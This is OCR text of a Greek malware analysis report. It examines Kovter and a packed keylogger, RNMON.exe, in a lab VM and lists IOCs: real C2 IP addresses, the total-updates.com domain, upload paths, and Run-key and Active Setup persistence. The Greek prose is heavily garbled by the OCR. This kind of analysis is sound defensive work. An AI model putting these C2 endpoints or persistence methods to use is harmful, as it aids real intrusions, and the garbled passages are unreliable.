PDF Tracker Software Products (Canada) Ltd.
Notes:

Process is in a job.

Process is 32-bit (WOW64).

PDEXGUIEW]

Ewkova 45 — Process tree #1 PDFXCview.exe

=

4 i | regsvr32.exe

| regsvr32.exe

Ewkéva 46 - Process tree #2 PDFXCview.exe

Metd tnv ektéAeon tou Seiypatog, To Kovter ektelel to PowerShell kat eykaBiotatatl
oTo ouotnua. MeAstwvrtag 1o, HEow Tou Process Hacker, prmopoupe va BpoUUE TNV €VIOAN
nou SwafiBaletar oto PowerShell. Zkomdg eival n ektéleon &vog kKwdlka mou eival
amobnkevpévog oe o environment variable (ta ovopata eivat tuxaia, véa oe kabe

eKTéAEON). Metd and autiv tn ¢aon, PAEnoupe to PowerShell va ektelel tn Siepyaocia
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regsvr32.exe (LE€ow TNG omolag ekteAeital n kKUpLa Aettoupylkotnta tou Kovter). I auto To
onueio xpnowomoloUue To Process Hacker yia va kavoupe dump Tl oupuBoAOCELPEG TNG
Slepyaoiag regsvr32.exe amo T UvRUN Kal va cUAEEOUUE TtepaLTEPW TTANPOPOPLES yLa TNV
KaKOBoUAn SpaotnpldotnTtd tou. MapakATw TMAPAOETOUUE TA TILO CNUAVTILIKA OO QUTA T

geupnuata ou aroteAouv Kat indicators of compromise (10Cs). Avaueod toug:

e n IP &ievBbuvon 185.117.72.90 (Ewéva 47) TOU ETONUAIVETOL WG KAKOBOUAN otav

urnoBaAAetal pog avaAuon oto VirusTotal (Ewédva 48)

| 0x5a74c4 26 185.117.72.90 |

Ewkova 47 - 10C IP address

6 (1) 6 engines detected this URL
hitp://185.117.72 90/

185.117.72.90

©

Community P

aCore

Ewova 48 - IP analysis

e to uri /upload.php (Ewkéva 49)

| 0x5fd342 29 tp://185.117.72.90/upload.php |

Ewkova 49 - 10C uri

e T0 oapxeio f97ad4.bat (Ewkéva 50) TO omoio PBploketar oto  path

C:\Users\dmangelo\AppData\Local oto ¢pakelo 80ed8.

IDxﬁDBSDe 96 C:'\UserskdmangeIo'\Ap|:|DatakanaIkBDedSka?atl.hatI

Ewkova 50 - 10C bat file
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Y€ aUTO TO onuelo teppatilouvpe To §€vipo Siepyaciwy regsvr32-regsvr3d2 PLECW TOU
Process Hacker, mpoxwpoupe otnv mavon tou Process Monitor kat amoBnkeloupe OAa ta
event logs o€ éva CSV apyxelo yla va Ta EL0AyOU e 0T cuVEXELa oTo procDOT. Emouevo Bripa
elval n emoyn ¢ dlepyaoiag ekeivng, TnG omolag emBUpOUUE va eEETACOUE TO ypadnUa.
AkoAouBel n peAétn OAou Tou Gévipou blepyacwwv (Ewdva 51). H apyxn yivetal pe tnv

PDFXCview.exe (Ewéva 52).

Monitoring Logs Render Configuration
ﬁ Procmon:  C\Users\testiab\Do ‘_| ‘E‘ Launcher: ‘_|
— — Refresh
CERTat T
Windump: ‘ | no paths compressed dumb | °%

@ ProcDOT |

Selectthe first relevant process ..

PID Processname

PDFXCview.exe
mshta.exe
powershell.exe
regsvr32 exe
regsvr32.exe

Selectitem by doubleclicking ..

(8] (] (&) [0 ] [m] (22 ] p: /(@]

Ewkova 51 - kovter processes procDOT

| HKCL \Defautty |

’l HKCU'\Software\Classes\ d173070\(Defauff) |

CAUsersltestiab\AppDatallocal\cedTe\113e6c.d173070 I]

/
l e ‘

cL DatalLs 1.bat 1

(AUTOSTARTY)

| Ci\UsersitestlabiDesktop PDFXCviewexe l]

— =
i ’ — | HKCU\Softwarel64PoByySTEWVQDgol |

A0

s ™ — S
) - —_
HAS THREAD — —
HKCU\Software\s4PoByy8fE\QVBISNJO
— ———»
HKCU\Softwaretibowfphoxnigx

— =

HKCUISoftware\ibowlphqwysid

Etkova 52 - PDFXCview.exe

MeAetwvtag To YpAadnuo TTPOCEKTIKA TAPATNPOULE TO £EC ONUOVTIKA:
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To UTt apBpodv 2072 thread tng regsvr32.exe dSnuoupyel kat ypadet 2 apxeia (Ewkova 53).
To 1610 thread mpaypatonolel eyypadn oe 3 registry keys. MdAwota, €va and auta ta
registry keys eival to Run Registry Key mou mpokaAel Tnv eKTEAECN TPOYPAUUATWY KAOE
dopad mou cuvdéetal Evag xpnotng. Me aAAa Adyla yla va Staodallotel OTL ekteAeital
KaTd TNV ekkivnon, to Kovter mpayuatomnolel eyypadn oe Eva autorun registry key. Ito
ypadnuo mou mopéxel to procDOT, avadEpetal Kol EMONUAIVETAL O TOPATIAVW
UNXaVIoUOG (Ewkdva 54). T auTo To registry key to kovter Sivel wg Tiun to .bat apyeio mou

T(PONYOUHEVWG SnULoupyEL.

—

Ny T o N C:\UsersitestlabiAppDatalLocallce87e5135831 bat I§|
~_ _ — —
— HKCU urrent
(AUTOSTARTI)
Ewova 53 - persistence mechanism
—
HKCU\Software\Microsoft'Windows'\CurrentVersionRunt
(AUTOSTARTI)

@ What is this? o ==
File Edit Selection View
|

This is a registrv-kev node with Autostart functionality. Autosta:r
registry-keys are the major approach for malware to survive a syst 1
reboot. This is widely known under the term "persistence™.

-
eneral Information

4 1} 3

Ewova 54 - autostart functionality | procDOT

To ur’ aplBuov 2696 thread tng Siepyaciag PDFXCview.exe teppatilel tnv dla tnv
PDFXCview.exe - Ewkova 55 (€tol e€nyeital To yeyovog otL oto Process Hacker mavel va

elval opatr n ouykekplpévn Slepyaoia LETA Ao KATOLO XPOVLKO Sldotnua)

HAS THREAD ’

Ewkéva 55 - PDFXCview.exe kill process
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Y€ QUTO TO ONUELD, MPOXWPOUUE 0T MEAETN TNC Slepyaciog mshta.exe POKELUEVOU
VO QTTOKTACOUUE Ml OAOKANPWUEVN EKOVA Yl TO TWG AELTTOUPYEL TO KOoKOBouAo
Tipoypappa. EmAéyoupe tn ouykekpluévn Slepyacia Kol avavewvoupe to procDOT yua va

dnuLloupynoet To ypadnua tng (Ewdva 56).

Ewkéva 56 - mshta.exe

e To umaplBuov 2080 thread tng Oiepyaociag regsvr32.exe OSlaypddel 1O Opxelo
PDFXCview.exe (Ewdva 57) mou Bploketal otnv emupavela epyaciag (Alyo Staotnua peta

TNV €KTEAECH TOU TPOYPAUMOTOG, TO EKTEAEDLUO Slaypadetal and to Desktop).

I ‘ | C:\WUsers'testlab\Desktop\PDFXCview exe I]I

Ewkova 57 - Awaypapn apysiou PDFXCview.exe

e To ur’ aptBuov 2208 thread tn¢ diepyaociag mshta.exe teppatilel Tnv idla tnv mshta.exe
- Ewova 58 (€toL e€nyeltal to yeyovog otL oto Process Hacker otapatd va eival opati n

OUYKEKPLUEVN Slepyacia HeTd amd kamolo Sltaotnua)

HAS THREAD I

Ewkéva 58 - mshta.exe kill process

SeAiba 40 amnd 122



Malware Analysis | Security Evaluation for Android Applications

2.3 Examining the suspicious binary (RNMON.exe)

JE OUTO TO ONUeio TAPOUCLAJOUME TNV TEPIMTWON €VO¢ Ayvwotou/Umomntou
ekteAéolpou pe to Ovopa RNMON.exe. MapaBétoupe avaAutikd ta BARgata Tou
akoAouBolvtal POKELUEVOU va TTPooSLloploBel KATA MOCO TO CUYKEKPLUEVO binary eivatl

KakOBouAo 1 OxL.

2.3.1 Static Properties Analysis

ApPXIKQA, TIPOXWPOUKE oTNV avaAucon Twv static properties mpokelpévou va yivel pia
TPWTN EKTLUNON YlO TO €AV TO EKTEAECIUO €ival €va KAKOBouAo TPOypapUA. ZE QUTO TO
otadlo Sev ekteleltal 1o .exe apxeio ala yivetal e€€taon KAMOLWY MOAUTIUWY SEIKTWY,
OMw¢ mBaveg umonteg ocUUPBOAOCELPEG, N epudavion ocuvoPewv Tou adopolv KakoBouAa
T(POYPAUMATA, N TLUA TNG EVTPOTIOG, Yia va e€axBel €va MPWTO CUUTEPACHA LA TN UGN TNG
AELTOUPYLKOTNTAC ToU Selypatog. Mo To OKOTO auTo, XPNOLUOTIOLOUUE TO epyaleio pestudio

Kall ELoAYOoUE To Selypa yla avaiuon (Ewkova 59).

=RCE] c\users\testlab\desktop\rmmon.exe| property value

-4 indicators (2/10) md5 A32A83A561FBADFFBRO34F78DE428BSE

2 shal 44CDB00AF24DD18BB33435B705684F8361DF15E4

+ dos-header (64 byles) sha256 ESD209237F267AC1 C367F6A40F6R575445570B38CBBEDSASCFTET9553B08C207

= dos-stub (54 bytes) md35-without-overlay

# file-header (Jun.2014) 3

-+ optional-header (GUD) shal-without-overlay

= directories (2) sha256-without-ove...

- sections (99.34%) first-bytes-hex 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 0 00 00 00
£ libraries (count) first-bytes-text MZ o @

-2 imports (VirtualAlloc) file-size 77312 (bytes)

= size-without-overlay

— entropy 4919

- imphash 67FDC237B514ECIFABICA500917EB6OF

abe strings (721 signature

{:a- entry-point 5589 E583 EC 08 E8 8EFF FF FF 31 CO C9 C3 90 FF 25 30 50 41 00 90 90 FF FF FF FF 00 00 00 00 FF
_ file-version

= description

-0 file-type executable

cpu 32-bit

Ewkéva 59 - pestudio | hashes

Enépevo Brua amoteAel n avalntnon tn¢ ouvoyng hash-256 oto VirusTotal
TIPOKELUEVOU va SOV E KATA TTOOO TO CUYKEKPLUEVO binary €xel utoBAnBel oto mapeABoOv os

avaAuon (Ewkova 60).
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E E5D209237F267AC1C367F6A40F6B575445570B38CB8EDS545CFTET79553B08C2D7

Ewkova 60 - Avalnitnon tou hash256

No matches found

Ewova 61 - VirusTotal results

Onwg ¢aivetal anod TG eKOVeg, Sev PpEONKE OXETIKN, UE TNV CUYKEKPLUEVN cuvoyn,
avaAuon (Ewoéva 61). Ta CUUTIEPACHATA TTIOU TIPOKUTITOUV OO AUTO eival ta €€ ¢ Suo: gite To
apxelo elval éva VOULUO Kal €YyKUPO TIPOYPA LA, ELTE TIPOKELTAL YLO €va malware To omnoio dgv
€xel umoPAnBel moté fava oe ef€taon. Iuvexi{oUpe TNV MEAETN Tou He TO pestudio
e€etalovtag autn tn ¢opad TIg cUUBOAOCELPEG TTOU TiepLEXovTal oto binary. Onwg ¢aivetal
OTNV MAPAKATW £lKOvVa (Ewkdva 62), dev umtapxel oxeSoOv Kapia evavayvwotn cuBoAoocelpa,
YEYOVOG UTIOTITO TIOU €VOEXOMEVWE UTIOSELKVUEL OTL To Selypa pag adopa éva packed
malware. Evag akopa Seiktng mou €€eTAlOUUE yla VO CUUTTEPAVOUUE av To Selypa €XeL
KpumtoypadnBel | cupmieoTel elval n TN TNG evtporiag, tng “tuxatdtntac” dnAadn twv
debopévwy oe éva apyeio (kKAipaka amo 1 €wg 8). Itnv nepimtwon twv packed malwares n

T auth eivat uPnAn.

—
£ cusers\dmangelo\desktop\mmon.exe | blacklist (0)  hint (2)  mitre-techni.. mitre-tactic.. value (721)
- indicators (2/10) KKavED ppEFmu MDwsEGpp
2] EFppBHru IKnIMOogHCym DFptMOonFOym BNpxMOovGCym HFnnHML.
- dos-header (64 bytes) EHaVEDpD OOvLFwmBOmmMOVE MBwrEP npMM mulOyoAG wxEGmL..
B3 dos-sb (64 bytes) weHIppDAWMH) mill olEDIn HinuFlorkFxd BBszEAmMIpwPFpz DBXIAG..
- file-header (Jun.2014) -
+ optional-header (GUD ppMImvELmp LKymPDatED ppMIimPPqt EDpp BDpsDE rrBF x{BL sIBBv.
-8 directories (2) DB vyMitnCHx{FAsp ECqvEDxyBPpxMIIt EPx[AHptMLIn FL{FBriMImI GL...
» sections (99.34%) BGymliwsOBmv BAqqPEIrEDxuNAvn EDppEFmnMINIEP pslO x{AIpvEA ...
&7 libraries (count) MO{rOCav EDpp EMwnDG rvEAwsMOqnELtt DHrxEGusMJ mpEHxs KMp...
MA wwEGom ELs{LMpwEFppEB utECrxKHvo KIttB) muBHx{NAyvEDDDEF..
LAs{ L Gom EAymlEzuEMipDGpg EM{zKFqw DAqyEAtsMGtpEAwWm EGrm...

< imports (VirtualAlloc)

e mzOJwmJPmzMGtrFG wmPH mzBHx{PAuv EDppEF pyl EnzCEpsLGx{ AE...
pvMAtpECxsKCvn MImnENssILyo EJnIMOmgHCymBB ptMOmreOox MKI..

"'m HCavEDmpCP ppLNx{PGpr EFppCG{u GPppEFppMPnn ELxyHNmy BEym...
@E tvKIwrBP psBIsnPK moEFppECIwCip CNppHC qvED mgCPpplLNx{PG prE..
" EC ymLLwsOBmpLNwv MItGBxq KPoxEBppEF mvBl zoGCpr EFppMDuw...
e gv EDnzEFmrLNx{PKpr EFppCKqvMDppEFnz ECIXBA wwOA{yEAQVEDWK..,
& NHusDEwvCPozCL IgDDsmHPIUBIxVED psEFppECqzED ppEFwwLNgVED...

DPEFpPEC qvEDppEFppEC qvEDPPEFppECQVED ppEFKpECaVED puFKizE

DForCNoyDB ngClrpCBowCNnv CKolGCot CGrpDHomCMsvCK nvGFIIAN...
CHspEOpu EPrECavEDppEFpp ECIVAGpp EFItEDa{ ED{qFAXvBB gvEDpp..
DPFF ppECqv DDppEF ppECmvEDppFFppEC qvEBppEFpIECqV EDpPGEF p...
ECqv FDpp EFppECavED gpEF ppECavEDpp EFppEC gvEDppOFppEC mr...
EFppEC avEDpp EFppECav EDppEFppECavEDDpp EFppEC qvEDDPREFpp E...
FEnnEC avENnFERnECavEN nnFEnnECavENnnEE nnEC avENnnEEnnEC

Ewova 62 — ZuuBoldooeipég mou éayovrtal
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Yuveyilovtag, peletape to nedio libraries (Ewdva 63) mou mepthapBavel ola ta dll
OpXELQ TIOU XPNOLUOTIOLEL TO TIpOYpaAppa yia TNV aAAnAenidpacor Tou pe To mepBarlov oTo
omolo ekteAeital. Evw og éva €yKupo eKTEAECLUO, O AUTO To Medio, epdavileTal Kavovika
pia Alota and dil apxela, otnv mpokelpévn nepimtwon moapatnpoU e povo pia BLBAodnkn,
v kernel32.dll. Mpdkettat yia akopa pio avwpaAio mouv untodnAwvel tTnv mbavh KakOBouAn

dUon tou ekteAécipou RNMON.exe.

=HE cusersitestlab\desktop\rnmon.exe library (1) blacklist (0) type (1) imports (1) description
- }'; indicators (2/10) kernel32.dll implicit 1 Windows NT BASE API Client DLL
- dos-header (64 bytes)
-[E8 dos-stub (64 bytes)
- file-header (Jun.2014)
- optional-header (GUL)
= directories (2)
> sections (99.34%)

L3 |iDraries (count):

Ewova 63 - Libraries

Emetta, eotialoupe oto nedio imports Kal TIC CUVAPTHOELG TIOU XPNOLLLOTIOLOUVTAL YL
Vv aAAnAemnidpaon Tou npoypappatog pe to file system twv windows, pe aAAeg Siepyaaieg,
To Sioko kot to Siktuo (Ewkdva 64). e Eva €YyKUPO EKTEAEDLUO, O AUTO To nedio, epdaviletal
KAVOVIKA Mo AloTa amd ouvaptroel, TIG omoieg SnAwvel To Mpoypappa OtL Ba
XPNOLLOTIOLNOEL KATA TNV €KTEAECH TOU. XTNV TMEPIMTWON HOC TOPATNPOUME HOVO Hia
ouvdaptnon, tnv VirtualAlloc. H VirtualAlloc eival pla ouvdptnon mou TO TMPOYPAUUA
XPNOLLOTIOLEL KATA TNV €KTEAECH TOU yla va altnBel emutAéov pvApn amd To AELTOUPYLKO
ocvotnua. Afilel va onuewBel 6tL moAAd packed malware otav poAuUvouv Tto cuotnua
QULTOUVTOL ETUTAEOV VA LN TIPOKELUEVOU VL ETtEKTAB0UV Kal va EeSUTAWCOUV TIG SuvaTtoTNTES

TOUG. AuTO KOBLOTA aKkOpa Lo UTTOTTo To Selypa Hag.

=57 c\users\testlab\desktop\rnmon.exe name (1) group (1)
""" u indicators (2/10) VirtualAlloc memory

----- » dos-header (64 bytes)
B dos-stub (64 bytes)

----- » file-header (Jun.2014)
----- > pptional-header (GUD)
----- = directories (2)

----- > sections (99.34%)
-2 libraries (count)

= imports (VirtualAlloc)

Ewkova 64 — Functions
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Télog, mapouctalovpe Toug Oeikteg TOU TO epyaleio Bewpel UTOMTOUG (€EXOUV

emonuavOet wg level 1). Onw¢ napatnpouue (Ewdva 65), TPOKELTOL YL TOV UIKPO aplOUO Twv

libraries kat twv imported functions mou mepLéxeL To EKTEAECLUO.

[
xml-id indicator (10)

== clusers\dmangelo\desktop\rnmon.exe
»
- dos-header (64 bytes)
8 dos-stub (64 bytes)

> file-header (Jun.2014)

- > optional-header (GUI)

= directories (2)

> sections (99.34%)
- | libraries (count)

-] imports (VirtualAlloc)

I3

1485
1265
1036
1634
1215
1633

The count of libraries is suspicious

The count of imported functions is suspicious

The file checksum is invalid

The file references a function group

The file-ratio of the section(s) has been determined
The file references string(s) tagged as hint

detail

count: 1

count: 1

checksum: 0x000136CC
type: memory

ratio: 99.34%

type: utility

level

Wow oW R

Ewova 65 - pestudio indicators

Onwg avadpEpOnke Kot mopandavw, cuykpivovtag ta nedia mou peAetape oto delypa

HOG JLE T aVTLoTOLY O EVOG AANOU, EYKUPOU EKTEAECLUOU, TTAPATNPOULE TIOANEG AVWHOALEG Kall

SlL0h0opEG, YEYOVOC TIOU HOG KAVEL TTOAU KOXUTIOTITOUG yla To £€eTallOUEVO TIpoOypappa. Ta

QnmoTeEAEOMATA TNG AVAAUONG OUYKALVOUV Of €val CUUTIEPAOUQ, OTL TO TPOYPAMUO Elval

KakoBoulo.
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2.3.2 Interactive Behavior Analysis - Capturing the traffic

‘Exovtag Ut oLV TOL CUMTIEPACHOTA Ao TNV MPONYoUEVN aVAAUOT), TIPOXWPOULE
OTNV CUUTEPLDOPLKN AVAAUCH TOU TIPOYPAMUATOC YIa TNV KAAUTEPN Katavonon tTng SOUNG
Kall Aeltoupylag tou. H eKTEAECH TOU TPAYLOTOMOLEITAL OE €va ATMOUOVWHEVO TIEPLBAAAOV
(windows vm), xwplg ocuvdeon oto Siktuo. EkteAoUpe to Process Monitor kat to Process
Hacker kat otn cuvéxela ‘tpéxoupe’ To ekteAéatpo. Mapatnpoupe 6tL to RNMON.exe €xel
emonuavOet pe pwp xpwpoa oto Process Hacker yeyovog mou umodnAwveL OTL TPOKELTAL yLa

uLa packed diepyaoia (Eikova 66).

[E=8 o =

%5 Refresh & Options | ) Find handles or DLLs 2%/ System information | ) () 3¢ Search Processes (Ctri+K) 0
[ Procasses |Services | Nemor | sk |

e iner | Name CPU IOtotalr.. Privateby.. Username Description
=1 1K | # | VGAuthService exe 418M8 VMware Guest Authentic
(& vmtooisd.exe 004 807 M8 VMware Tools Core Sen
ey = # | dilhostexe 396 M8 COM Surrogate
21319, o ¢+ msdtcexe 316 MB Microsoft Distributed Tr
21319... ac 48| Searchindexerexe 1893MB Microsoft Windows Seai
Py %1 searchProtocolHo 277M8 Microsoft Windows Seai
21320 . g Explo % SearchFilterHostexe 2mB Microsoft Windows Seai
21320... 4 Explorer EXE svchostexe 22M8 Host Process for Windoy
21320... GExploret EXE sppsvcexe 214M8 Microsoft Software Prot

21320 g Explorer EXE
ik ':E:;::ZExE svchostexe 7316 MB Host Process for Windox

21320... 5 Exploret EXE W Isassexe 335MB Local Security Authority

W Ism.exe 211MB Local Session Manager
Showing 127,374 of 181, 1 csrssexe 1246 MB Client Server Runtime Pr
! 268 MB Windows Logon Applice
4 explorer.exe 2498 MB WIN-RRPMRSG..\testlab  Windows Explorer
(@ vmtoolsd.exe I 608B/s  981MB WIN-RRPMRSG..\testlab VMware Tools Core Ser =
W ProcessHacker.exe 9.27 MB  WIN-RRPMR8G..\testlab Process Hacker
4 7 Procmon6d.exe 1093 MB  WIN-RRPMRSG..\testlab Process Monitor
7 Procmon6d.exe 487kB/s 2554 MB_WIN-RRPMRBG..\testlab _Process Monitor

CPU Usage: 100.00% Physical memory: 637.71 MB (31.15%) Processes: 41

Ewkova 66 - javaw.exe

Adrivoupe to Seilypa va ekTeAECOEL yla KATIOLO XPOVIKO SLA0TNUA, KATA TN SLApKELD
Tou omoiou OAANAETIOPOUPE KOVOVIKA HE TO CUOTNUA TIPOKELUEVOU v SWOOUME TNV
Sduvatotnta oto Seilypa va ekGNAWGCEL TNV oL UTEPLPOPA TOU. AUTO TO KAVOUUE KABwWG TTOANG
KakOBouAa mpoypappata oxeSlalovial Pe TPOTO TETOLO WOTE va armodeVUyouV TNV avaAuon
TOUG O€ €va auTopaTtomnolnuévo neplBaiiov. Mapatnpoupe OTLTO .exe apxeio mou Bplokdtav
otnv enudpavela epyaciag, petd amd Alyo Siaotnuoa ‘e€adaviletal’. I& autd TO OnUelo
xpnowlornoloU e to Process Hacker yla va kavoupe dump T cuPoA0CELPEG amd T VAN

KOl VO EVIOTIIOOUME EUPAMATA TIOU UTIOSELKVUOUV TNV KAKOPBOUANR &paotnplotntd Ttou.
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MapakATwW TIAPAOETOULE TA TILO ONUAVIIKA QO QUTA TO EUPMNUATA TIOU QOTEAOUV Kal

indicators of compromise (I0Cs). Avaueod Toug:

e n P &evbuvon 81.4.111.176,
e ¢va hostname, to total-updates.com,
e to uri /scandisk/diskpart.php

e Kkalto apxeio C:\Users\testlab\AppData\Roaming\Oraclelava\java.exe.

Ox40803e 12 81.4.111.176
Ox40804b 22 [scandisk/diskpart.php
0x408062 17 total-updates.com

Ewova 67 - Process Hacker memory dump #1

I 0x6db5d8 92 http://total-updates.com/scandisk/diskpart.php I

Ewova 68 - Process Hacker memory dump #2

| 0x6bbse2 39 tp://81.4.111.176/scandisk/diskpart.php |

Ewova 69 - Process Hacker memory dump #3

n 0x300e4 53 C:\Users\testlab\AppData\Roaming\Oraclelava\javaw.exe I

Ewova 70 - Process Hacker memory dump #4

TéAhog, mapouotdloupe SUo akoun evbladépovta strings mou mbavotata va

oxetilovtal pe commands mou Sivel o erutiBEpevog péow evog C&C server.

Ox4081349 16 Download and Run
Ox40814a 14 Upload KeyLogs

Ewdva 71 - Process Hacker memory dump #5

YrevBupiloupe OTL Katd TNV e€€toon Twv static properties (mpotol ekTeAECOUUE TO
binary) ot cupBoAooelpég ATaV LN avayvwolpeg Adyw tou OTL To apxeio Atav packed. Katd

™V SuVapLKA VAAUGT) TOU OUWC, TO aPXELO YiveTal extract, TTPOKELUEVOU va eKONAWOEL TN
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oupnepLlPpopaA Tou Kal £TOL AVOKAAUTITOU UE TIEPLOCOTEPEC TANPOPOPLEC YUPW OO TOV TPOTIO

Aettoupylag tou.

Y€ QUTO TO onueio teppatiloupe tnv dlepyaocia javaw.exe péow tou Process Hacker,
TIPOXWPOUUE OTNV Mavon Tou Process Monitor kal amoBnkevoupe OAa ta event logs o éva
CSV apyxelo yla va To EL0AYOUUE 0T ouVEXeLa oto procDOT. Emopevo Brpa eival n emloyn
tou RNMON.exe w¢ tnv Slepyacia tng omoiag emBupoU e va eEETACOUUE TO ypadnua ().

@ ProcDOT - CUsers\testlabl, procdotidefaultpd* sl

Rendsr Configuration

oads\ProcessMonitoriLoghie CSY ]| Launcher 220478663|RNMON exe
Refresh

nopaths 1] compressed [dumb | ¢

- = -
B (][] »| ][] (] —m———cage———

Status: OK Frame: 0128 Time: 000000 Thraad 624-n2 of procass "RNMON axe” (PID: 663) loads file "CUsersliestiabiDeskiop| ANMON sxe” 35 module

_@ 2 .0 G majxae e

Ewova 72 - procDOT RNMON.exe graph

MeAetwvtag To YpAadnua TTPOCEKTIKA TIAPATNPOUE TO £EAC ONUOVTIKA:

e 710 urapBudv 896 thread tng Siepyaciag RNMON.exe &nuloupyel tn Slepyacia
javaw.exe kal to apyeio C:\Users\testlab\AppData\Roaming\Oraclelava\javaw.exe. 3tn
OUVEXELD, €va AAAo thread, to 1736 tng javaw.exe SlaBalel To apxeio auto, Snuoupyet
Tpla string values oe Sladopetika registry keys Sivovtag wg TIU TO CUYKEKPLUEVO

EKTEAEOLHO.
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| C:\Usersitestlab\Desktop\RNMOM exe ]

 —— ’r HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows NT Senice

(AUTOSTART!)
=
R HKCU\Software\Microsoft\Active Setup'installed Components\{B3DB0D62-8481-4929-888B-49F426C 1A 136}\StubPath
—
HKCU! \Classes\Virtual \ HINE\SOFTWARE'\Wow6432Node\MicrosoftiActive Setup\installed Components\{B3DB0D62-B481-4929-888B-

v

Ewova 73 - Modification of 3 registry keys

HKGL NT Senvice
(AUTOSTART!)

HKCL c DB0D62-B481-4929-8888-49F426C 1A136/SLbFal

HKCU\Software\Cl HINE\SOFTV i i i DBOD62-B461-4 B-49F4 26C1A136)SbPath |

Ewkova 74 - Registry keys string values

MaAlota, éva amo auta ta registry keys eival to Run Registry Key mou mpokalel tnv
EKTEAEON TpoOypapupaTwyv KaBe dopd mou ouvdéetal €vag Xpnotng. e autod
SnuoupynBnke to Windows NT Service (to malware divel éva aAnBodaveég dvoua otnv
TIPOOTIABELA TOU VA EVOPLOVIOTEL UE TO CUCTNHA KOL VA 1N YIVEL avTIAnTTo) Kot §60nke
W¢ TR To javaw.exe. AutO Aoutov amoteAel kal to persistent mechanism tou
OUYKEKPLUEVOU KAKOBOUAOU TpoypAUUATOG, Tov TPomo OnAadn mou to malware
TIOPOPEVEL YlAL TIAVTOL EVEPYO OTOV UTIOAOYLOTH) TOU BOUPOTOC OKOUA KOl PETA TNV

gmavekkivnon. Zto ypadnua avadpEpeTal KAl EMLONUALVETAL O TAPATIAVW UNXAVIOUOG.

(AUTOSTARTI)

@ What is this? =5 Bl <=

File Edit Selection View

F HKCU\Software'MicrosoftiWindows\CurrentVersion\Run'Windows NT Service

This i5 & registry-key node with Autostart functionality. Autostart
registry-keys are the major approach for malware to survive a system
reboot. This is widely known under the term "persistence".

4 11

Ewova 75 - malware persistence

SeAiba 48 amnd 122



Malware Analysis | Security Evaluation for Android Applications

@’ Registry Editor ‘?HEHY‘
File Edit View Favorites Help
Internet Settings “ || Name Type Data
MCT ab] (Default) REG.SZ (value not set)
Policies -‘_"]Winduws NT Ser.. REG SZ C\Users\testlab\AppData\Roaming\Oraclelava\javaw.exe
RADAR
Run Edit String ==
RunOnce
Screensavers VB e
Shell Extensions Windows NT Service
Sidebar Value data
Telephony
ThemeManager
WinTrust
DWM
Shell
TabletPC -
« 1 b

Compute\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Ewkova 76 - Registry key 1

ﬁ Registry Editor \?HFHY|
File Edit View Favorites Help

Classes “ || Name Type Data

Clients b (Default) REG_SZ (value not set)

Gaagle at|StubPath REG_SZ ChUsers\testlab\AppData\Roaming\Oraclelava\javaw.exe

4| Microsoft
4 Active Setup L Edit String @
4 Installed Components B
| (2C7339CF-2809-4501-B3F2 Value name
{44BBA840-CC51-11CF-AAF, LA

(6BF52A52-394A-11d3-B152
{89820200-ECBD-11cf-8B85
{89820200-ECBD-11cf-8B85
{89B4C1CD-B018-4511-B0A
[8A69D345-D564-463¢-AFF!
[B3DBOD62-B481-4929-888
26923043-4d38-484f-909
60B49E34-C7CC-11D0-89.
4 UL} »

Value data

>
>

Computer\HKEY_CURRENT_USER\Software\Microsoft\Active Setup\Installed Components\{B3DB0D62-B481-4929-888B-49F426C1A136}

Ewkova 77 - Registry key 2

ﬁ Registry Editor ‘?”E”?‘
File Edit View Favorites Help
ftp + || Name Type Data
http ‘_"](Default) REG_SZ (value not set)
g https J_h]StubPath REG_SZ Ch\Users\testlab\AppData\Roaming\Oraclelava\javaw.exe

Local Settings
ProcMon.Logfile.1 " .
4 VirtualStore Edit String @

4 MACHINE Value name:
4 SOFTWARE StubPath
E Wow6432Node
e Microsoft

4 Active Setup

E {B3DBOD6.

DownloadManagr

[

Value data,

Clients
Google e

1 1 »

Computer\HKEY_CURRENT_USER\Software\Classes\Virtual Store\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components\{B3DB0D62-B481-4929-888B-4

Ewkéva 78 - Registry key 3

SeAiba 49 amnd 122



Malware Analysis | Security Evaluation for Android Applications

e To uraplBuodv 896 thread tng diepyaciag RNMON.exe teppatileL tnv idla tnv
RNMON.exe (étol e€nyeital To yeyovog otL oto Process Hacker ivat opatod poévo to
process javaw.exe)

HAS THREAD

Ewova 79 - kill RNMON.exe process

e To urapBuov 1736 thread tng Siepyaciag javaw.exe Slaypddel to apyxeio RNMON.exe
Tou Bploketal otnv emipavela epyaciag (0nwg npoavadépObnke, Aiyo dtaotnua PETA TNV

EKTEAEDN TOU TIPOYPAUUATOC, TO EKTEAECIUO Slaypadetal ano to Desktop).

| C:\Users\testlab\Desktop'RNMON.exe ]

I HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows NT Service
_ (AUTOSTART!)

=

P

HKCU\Software\Microsoft\Active Setuplinstalled Components\{B3DB0D62-B481-4929-888B-49F426C1A136)\StubPath

|

HKCW\Software\Classes\VirtualStore\MACHINE\SOF TWARE \Wow6432Node\Microsoft\Active Setup\installed Components\{B3DB0D62-B481-4929-888B

Eiwkova 80 - RNMON.exe deletion

e To urmaplBuov 1592 thread tng diepyaciag javaw.exe dnuoupyel kat ypadel Sedopéva
o€ €va apxeio Log.txt to omoio Bpioketal oto:

C:\Users\testlab\AppData\Roaming\OracleJava

C:\Users\testlab\AppData\Roaming\OracleJava\Log.txt 7

Ewkéva 81 - Log.txt apyeio
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| » Computer » Local Disk (C:) » Users » testlab » AppData » Roaming » Oraclelava v‘%ll Search Or
h ) Open ~ Share with ~ Print New folder B= ~
S
Name Date modified Type Size
Log 5/2/2020 2:14 AM Text Document 1KB
"l Log - Notepad =1 e =

File Edit Format View Help

[Process Hacker [WIN-RRPMR8GFJ3I\testlabl] - [02/05/2020 02:13:33]
[Print Screen]

[start menu] - [02/05/2020 02:13:45]
notepad

[untitled - Notepad] - [02/05/2020 02:13:56]
malware executable RNMON.exe

[Start menu] - [02/05/2020 02:14:19]
appdata[Backspace] [Backspace] [Backspace] [Backspace] [Backspace] [Backspace] [Backspace] [Backsp:

4 Il 3

Ewkova 82 - Log.txt

MapatnpoUpe OtL oto apxeio Log.txt kataypadetal kabBe aAAnAenidpacn tou
XPNOTN HE TO TANKTPOAOYl0. Avapeca ota AAAa PAEMOUUE KL TO KEWUEVO TOU
